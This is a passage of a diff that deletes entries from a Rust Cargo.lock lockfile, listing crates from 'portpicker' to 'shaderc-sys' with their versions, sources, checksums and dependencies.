-checksum = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0"
-
-[[package]]
-name = "portpicker"
-version = "0.1.0"
-source = "git+https://github.com/xMAC94x/portpicker-rs?rev=df6b37872f3586ac3b21d08b56c8ec7cd92fb172#df6b37872f3586ac3b21d08b56c8ec7cd92fb172"
-dependencies = [
- "rand 0.8.5",
-]
-
-[[package]]
-name = "powerfmt"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"
-
-[[package]]
-name = "pp-rs"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bb458bb7f6e250e6eb79d5026badc10a3ebb8f9a15d1fff0f13d17c71f4d6dee"
-dependencies = [
- "unicode-xid 0.2.4",
-]
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
-
-[[package]]
-name = "presser"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8cf8e6a8aa66ce33f63993ffc4ea4271eb5b0530a9002db8455ea6050c77bfa"
-
-[[package]]
-name = "proc-macro-crate"
-version = "1.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919"
-dependencies = [
- "once_cell",
- "toml_edit 0.19.15",
-]
-
-[[package]]
-name = "proc-macro-hack"
-version = "0.5.20+deprecated"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068"
-
-[[package]]
-name = "proc-macro-nested"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc881b2c22681370c6a780e47af9840ef841837bc98118431d4e1868bd0c1086"
-
-[[package]]
-name = "proc-macro2"
-version = "0.4.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf3d2011ab5c909338f7887f4fc896d35932e29146c12c8d01da6b22a80ba759"
-dependencies = [
- "unicode-xid 0.1.0",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.79"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e835ff2298f5721608eb1a980ecaee1aef2c132bf95ecc026a11b7bf3c01c02e"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "profiling"
-version = "1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "332cd62e95873ea4f41f3dfd6bbbfc5b52aec892d7e8d534197c4720a0bbbab2"
-dependencies = [
- "profiling-procmacros",
- "tracy-client",
-]
-
-[[package]]
-name = "profiling-procmacros"
-version = "1.0.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8021cf59c8ec9c432cfc2526ac6b8aa508ecaf29cd415f271b8406c1b851c3fd"
-dependencies = [
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "prometheus"
-version = "0.13.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "449811d15fbdf5ceb5c1144416066429cf82316e2ec8ce0c1f6f8a02e7bbcf8c"
-dependencies = [
- "cfg-if 1.0.0",
- "fnv",
- "lazy_static",
- "memchr",
- "parking_lot 0.12.1",
- "thiserror",
-]
-
-[[package]]
-name = "prometheus-hyper"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "18fc98d5705a20b11f8b240c0857167b79852ba469f9faec6df0027e576e676e"
-dependencies = [
- "hyper",
- "prometheus",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "psm"
-version = "0.1.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5787f7cda34e3033a72192c018bc5883100330f362ef279a8cbccfce8bb4e874"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "quick-error"
-version = "1.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0"
-
-[[package]]
-name = "quick-xml"
-version = "0.30.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eff6510e86862b57b210fd8cbe8ed3f0d7d600b9c2863cd4549a2e033c66e956"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "quinn"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8cc2c5017e4b43d5995dcea317bc46c1e09404c0a9664d2908f7f02dfe943d75"
-dependencies = [
- "bytes",
- "pin-project-lite",
- "quinn-proto",
- "quinn-udp",
- "rustc-hash",
- "rustls",
- "thiserror",
- "tokio",
- "tracing",
-]
-
-[[package]]
-name = "quinn-proto"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "141bf7dfde2fbc246bfd3fe12f2455aa24b0fbd9af535d8c86c7bd1381ff2b1a"
-dependencies = [
- "bytes",
- "rand 0.8.5",
- "ring 0.16.20",
- "rustc-hash",
- "rustls",
- "rustls-native-certs",
- "slab",
- "thiserror",
- "tinyvec",
- "tracing",
-]
-
-[[package]]
-name = "quinn-udp"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "055b4e778e8feb9f93c4e439f71dc2156ef13360b432b799e179a8c4cdf0b1d7"
-dependencies = [
- "bytes",
- "libc",
- "socket2",
- "tracing",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "quote"
-version = "0.6.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ce23b6b870e8f94f81fb0a363d65d86675884b34a09043c81e5562f11c1f8e1"
-dependencies = [
- "proc-macro2 0.4.30",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef"
-dependencies = [
- "proc-macro2 1.0.79",
-]
-
-[[package]]
-name = "radium"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09"
-
-[[package]]
-name = "radix_trie"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c069c179fcdc6a2fe24d8d18305cf085fdbd4f922c041943e203685d6a1c58fd"
-dependencies = [
- "endian-type",
- "nibble_vec",
-]
-
-[[package]]
-name = "rand"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
-dependencies = [
- "getrandom 0.1.16",
- "libc",
- "rand_chacha 0.2.2",
- "rand_core 0.5.1",
- "rand_hc",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha 0.3.1",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
-dependencies = [
- "getrandom 0.1.16",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-dependencies = [
- "getrandom 0.2.12",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_xorshift"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77d416b86801d23dde1aa643023b775c3a462efc0ed96443add11546cdf1dca8"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "range-alloc"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8a99fddc9f0ba0a85884b8d14e3592853e787d581ca1816c91349b10e4eeab"
-
-[[package]]
-name = "ratatui"
-version = "0.26.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bcb12f8fbf6c62614b0d56eb352af54f6a22410c3b079eb53ee93c7b97dd31d8"
-dependencies = [
- "bitflags 2.5.0",
- "cassowary",
- "compact_str",
- "crossterm",
- "indoc",
- "itertools 0.12.1",
- "lru",
- "paste",
- "stability",
- "strum 0.26.2",
- "unicode-segmentation",
- "unicode-width",
-]
-
-[[package]]
-name = "raw-window-handle"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b800beb9b6e7d2df1fe337c9e3d04e3af22a124460fb4c30fcc22c9117cefb41"
-dependencies = [
- "cty",
-]
-
-[[package]]
-name = "raw-window-handle"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2ff9a1f06a88b01621b7ae906ef0211290d1c8a168a15542486a8f61c0833b9"
-
-[[package]]
-name = "rayon"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e4963ed1bc86e4f3ee217022bd855b297cef07fb9eac5dfa1f788b220b49b3bd"
-dependencies = [
- "either",
- "rayon-core",
-]
-
-[[package]]
-name = "rayon-core"
-version = "1.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
-dependencies = [
- "crossbeam-deque 0.8.5",
- "crossbeam-utils 0.8.19",
-]
-
-[[package]]
-name = "rcgen"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48406db8ac1f3cbc7dcdb56ec355343817958a356ff430259bb07baf7607e1e1"
-dependencies = [
- "pem",
- "ring 0.17.8",
- "time",
- "yasna",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
-dependencies = [
- "bitflags 1.3.2",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29"
-dependencies = [
- "bitflags 1.3.2",
-]
-
-[[package]]
-name = "redox_syscall"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa"
-dependencies = [
- "bitflags 1.3.2",
-]
-
-[[package]]
-name = "redox_users"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4"
-dependencies = [
- "getrandom 0.2.12",
- "libredox 0.0.1",
- "thiserror",
-]
-
-[[package]]
-name = "refinery"
-version = "0.8.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a2783724569d96af53464d0711dff635cab7a4934df5e22e9fbc9e181523b83e"
-dependencies = [
- "refinery-core",
- "refinery-macros",
-]
-
-[[package]]
-name = "refinery-core"
-version = "0.8.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08d6c80329c0455510a8d42fce286ecb4b6bcd8c57e1816d9f2d6bd7379c2cc8"
-dependencies = [
- "async-trait",
- "cfg-if 1.0.0",
- "log",
- "regex",
- "rusqlite",
- "serde",
- "siphasher 1.0.1",
- "thiserror",
- "time",
- "toml 0.8.12",
- "url",
- "walkdir",
-]
-
-[[package]]
-name = "refinery-macros"
-version = "0.8.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ab6e31e166a49d55cb09b62639e5ab9ba2e73f2f124336b06f6c321dc602779"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "refinery-core",
- "regex",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "regalloc2"
-version = "0.9.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad156d539c879b7a24a363a2016d77961786e71f48f2e2fc8302a92abd2429a6"
-dependencies = [
- "hashbrown 0.13.2",
- "log",
- "rustc-hash",
- "slice-group-by",
- "smallvec",
-]
-
-[[package]]
-name = "regex"
-version = "1.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-automata 0.4.6",
- "regex-syntax 0.8.2",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.1.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132"
-dependencies = [
- "regex-syntax 0.6.29",
-]
-
-[[package]]
-name = "regex-automata"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "86b83b8b9847f9bf95ef68afb0b8e6cdb80f498442f5179a29fad448fcc1eaea"
-dependencies = [
- "aho-corasick",
- "memchr",
- "regex-syntax 0.8.2",
-]
-
-[[package]]
-name = "regex-syntax"
-version = "0.6.29"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1"
-
-[[package]]
-name = "regex-syntax"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f"
-
-[[package]]
-name = "renderdoc-sys"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19b30a45b0cd0bcca8037f3d0dc3421eaf95327a17cad11964fb8179b4fc4832"
-
-[[package]]
-name = "resolv-conf"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "52e44394d2086d010551b14b53b1f24e31647570cd1deb0379e2c21b329aba00"
-dependencies = [
- "hostname",
- "quick-error",
-]
-
-[[package]]
-name = "ring"
-version = "0.16.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc"
-dependencies = [
- "cc",
- "libc",
- "once_cell",
- "spin 0.5.2",
- "untrusted 0.7.1",
- "web-sys",
- "winapi",
-]
-
-[[package]]
-name = "ring"
-version = "0.17.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c17fa4cb658e3583423e915b9f3acc01cceaee1860e33d59ebae66adc3a2dc0d"
-dependencies = [
- "cc",
- "cfg-if 1.0.0",
- "getrandom 0.2.12",
- "libc",
- "spin 0.9.8",
- "untrusted 0.9.0",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "rmp"
-version = "0.8.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f9860a6cc38ed1da53456442089b4dfa35e7cedaa326df63017af88385e6b20"
-dependencies = [
- "byteorder",
- "num-traits",
- "paste",
-]
-
-[[package]]
-name = "rmp-serde"
-version = "1.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bffea85eea980d8a74453e5d02a8d93028f3c34725de143085a844ebe953258a"
-dependencies = [
- "byteorder",
- "rmp",
- "serde",
-]
-
-[[package]]
-name = "rodio"
-version = "0.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0939e9f626e6c6f1989adb6226a039c855ca483053f0ee7c98b90e41cf731e"
-dependencies = [
- "cpal",
- "lewton",
-]
-
-[[package]]
-name = "ron"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b91f7eff05f748767f183df4320a63d6936e9c6107d97c9e6bdd9784f4289c94"
-dependencies = [
- "base64",
- "bitflags 2.5.0",
- "serde",
- "serde_derive",
-]
-
-[[package]]
-name = "roots"
-version = "0.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "082f11ffa03bbef6c2c6ea6bea1acafaade2fd9050ae0234ab44a2153742b058"
-
-[[package]]
-name = "roxmltree"
-version = "0.14.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "921904a62e410e37e215c40381b7117f830d9d89ba60ab5236170541dd25646b"
-dependencies = [
- "xmlparser",
-]
-
-[[package]]
-name = "rstar"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f39465655a1e3d8ae79c6d9e007f4953bfc5d55297602df9dc38f9ae9f1359a"
-dependencies = [
- "heapless",
- "num-traits",
- "smallvec",
-]
-
-[[package]]
-name = "rusqlite"
-version = "0.30.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a78046161564f5e7cd9008aff3b2990b3850dc8e0349119b98e8f251e099f24d"
-dependencies = [
- "bitflags 2.5.0",
- "fallible-iterator",
- "fallible-streaming-iterator",
- "hashlink",
- "libsqlite3-sys",
- "smallvec",
-]
-
-[[package]]
-name = "rust-argon2"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d9848531d60c9cbbcf9d166c885316c24bc0e2a9d3eba0956bb6cbbd79bc6e8"
-dependencies = [
- "base64",
- "blake2b_simd",
- "constant_time_eq",
-]
-
-[[package]]
-name = "rustc-demangle"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76"
-
-[[package]]
-name = "rustc-hash"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
-
-[[package]]
-name = "rustc_version"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "138e3e0acb6c9fb258b19b67cb8abd63c00679d2851805ea151465464fe9030a"
-dependencies = [
- "semver 0.9.0",
-]
-
-[[package]]
-name = "rustc_version"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366"
-dependencies = [
- "semver 1.0.22",
-]
-
-[[package]]
-name = "rustix"
-version = "0.38.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "65e04861e65f21776e67888bfbea442b3642beaa0138fdb1dd7a84a52dffdb89"
-dependencies = [
- "bitflags 2.5.0",
- "errno",
- "itoa",
- "libc",
- "linux-raw-sys",
- "once_cell",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "rustls"
-version = "0.21.10"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba"
-dependencies = [
- "log",
- "ring 0.17.8",
- "rustls-webpki",
- "sct",
-]
-
-[[package]]
-name = "rustls-native-certs"
-version = "0.6.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9aace74cb666635c918e9c12bc0d348266037aa8eb599b5cba565709a8dff00"
-dependencies = [
- "openssl-probe",
- "rustls-pemfile",
- "schannel",
- "security-framework",
-]
-
-[[package]]
-name = "rustls-pemfile"
-version = "1.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c"
-dependencies = [
- "base64",
-]
-
-[[package]]
-name = "rustls-webpki"
-version = "0.101.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765"
-dependencies = [
- "ring 0.17.8",
- "untrusted 0.9.0",
-]
-
-[[package]]
-name = "rusttype"
-version = "0.7.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "310942406a39981bed7e12b09182a221a29e0990f3e7e0c971f131922ed135d5"
-dependencies = [
- "rusttype 0.8.3",
-]
-
-[[package]]
-name = "rusttype"
-version = "0.8.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f61411055101f7b60ecf1041d87fb74205fb20b0c7a723f07ef39174cf6b4c0"
-dependencies = [
- "approx 0.3.2",
- "crossbeam-deque 0.7.4",
- "crossbeam-utils 0.7.2",
- "linked-hash-map",
- "num_cpus",
- "ordered-float 1.1.1",
- "rustc-hash",
- "stb_truetype",
-]
-
-[[package]]
-name = "rustversion"
-version = "1.0.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4"
-
-[[package]]
-name = "rustyline"
-version = "14.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7803e8936da37efd9b6d4478277f4b2b9bb5cdb37a113e8d63222e58da647e63"
-dependencies = [
- "bitflags 2.5.0",
- "cfg-if 1.0.0",
- "clipboard-win 5.3.0",
- "fd-lock",
- "home",
- "libc",
- "log",
- "memchr",
- "nix 0.28.0",
- "radix_trie",
- "unicode-segmentation",
- "unicode-width",
- "utf8parse",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "ryu"
-version = "1.0.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e86697c916019a8588c99b5fac3cead74ec0b4b819707a682fd4d23fa0ce1ba1"
-
-[[package]]
-name = "same-file"
-version = "1.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"
-dependencies = [
- "winapi-util",
-]
-
-[[package]]
-name = "schannel"
-version = "0.1.23"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbc91545643bcf3a0bbb6569265615222618bdf33ce4ffbbd13c4bbd4c093534"
-dependencies = [
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "schnellru"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "772575a524feeb803e5b0fcbc6dd9f367e579488197c94c6e4023aad2305774d"
-dependencies = [
- "ahash 0.8.11",
- "cfg-if 1.0.0",
- "hashbrown 0.13.2",
-]
-
-[[package]]
-name = "scoped-tls"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294"
-
-[[package]]
-name = "scopeguard"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
-
-[[package]]
-name = "sct"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414"
-dependencies = [
- "ring 0.17.8",
- "untrusted 0.9.0",
-]
-
-[[package]]
-name = "sctk-adwaita"
-version = "0.5.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cda4e97be1fd174ccc2aae81c8b694e803fa99b34e8fd0f057a9d70698e3ed09"
-dependencies = [
- "ab_glyph",
- "log",
- "memmap2 0.5.10",
- "smithay-client-toolkit",
- "tiny-skia",
-]
-
-[[package]]
-name = "sdl2"
-version = "0.35.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f7959277b623f1fb9e04aea73686c3ca52f01b2145f8ea16f4ff30d8b7623b1a"
-dependencies = [
- "bitflags 1.3.2",
- "lazy_static",
- "libc",
- "sdl2-sys",
-]
-
-[[package]]
-name = "sdl2-sys"
-version = "0.35.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3586be2cf6c0a8099a79a12b4084357aa9b3e0b0d7980e3b67aaf7a9d55f9f0"
-dependencies = [
- "cfg-if 1.0.0",
- "libc",
- "version-compare",
-]
-
-[[package]]
-name = "security-framework"
-version = "2.9.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "05b64fb303737d99b81884b2c63433e9ae28abebe5eb5045dcdd175dc2ecf4de"
-dependencies = [
- "bitflags 1.3.2",
- "core-foundation",
- "core-foundation-sys",
- "libc",
- "security-framework-sys",
-]
-
-[[package]]
-name = "security-framework-sys"
-version = "2.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e932934257d3b408ed8f30db49d85ea163bfe74961f017f405b025af298f0c7a"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "self_cell"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e14e4d63b804dc0c7ec4a1e52bcb63f02c7ac94476755aa579edac21e01f915d"
-dependencies = [
- "self_cell 1.0.3",
-]
-
-[[package]]
-name = "self_cell"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "58bf37232d3bb9a2c4e641ca2a11d83b5062066f88df7fed36c28772046d65ba"
-
-[[package]]
-name = "semver"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d7eb9ef2c18661902cc47e535f9bc51b78acd254da71d375c2f6720d9a40403"
-dependencies = [
- "semver-parser",
-]
-
-[[package]]
-name = "semver"
-version = "1.0.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "92d43fe69e652f3df9bdc2b85b2854a0825b86e4fb76bc44d945137d053639ca"
-
-[[package]]
-name = "semver-parser"
-version = "0.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3"
-
-[[package]]
-name = "serde"
-version = "1.0.197"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fb1c873e1b9b056a4dc4c0c198b24c3ffa059243875552b2bd0933b1aee4ce2"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.197"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7eb0b34b42edc17f6b7cac84a52a1c5f0e1bb2227e997ca9011ea3dd34e8610b"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.114"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c5f09b1bd632ef549eaa9f60a1f8de742bdbc698e6cee2095fc84dde5f549ae0"
-dependencies = [
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_path_to_error"
-version = "0.1.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "af99884400da37c88f5e9146b7f1fd0fbcae8f6eec4e9da38b67d05486f814a6"
-dependencies = [
- "itoa",
- "serde",
-]
-
-[[package]]
-name = "serde_repr"
-version = "0.1.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb"
-dependencies = [
- "proc-macro2 1.0.79",
- "quote 1.0.35",
- "syn 2.0.53",
-]
-
-[[package]]
-name = "serde_spanned"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "serde_urlencoded"
-version = "0.7.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"
-dependencies = [
- "form_urlencoded",
- "itoa",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
-dependencies = [
- "cfg-if 1.0.0",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "shaderc"
-version = "0.8.0"
-source = "git+https://github.com/pythonesque/shaderc-rs?rev=f2605a02062834019bedff911aee2fd2998c49f9#f2605a02062834019bedff911aee2fd2998c49f9"
-dependencies = [
- "libc",
- "shaderc-sys",
-]
-
-[[package]]
-name = "shaderc-sys"
-version = "0.8.0"
-source = "git+https://github.com/pythonesque/shaderc-rs?rev=f2605a02062834019bedff911aee2fd2998c49f9#f2605a02062834019bedff911aee2fd2998c49f9"
-dependencies = [
- "cmake",
- "libc",
- "roxmltree",
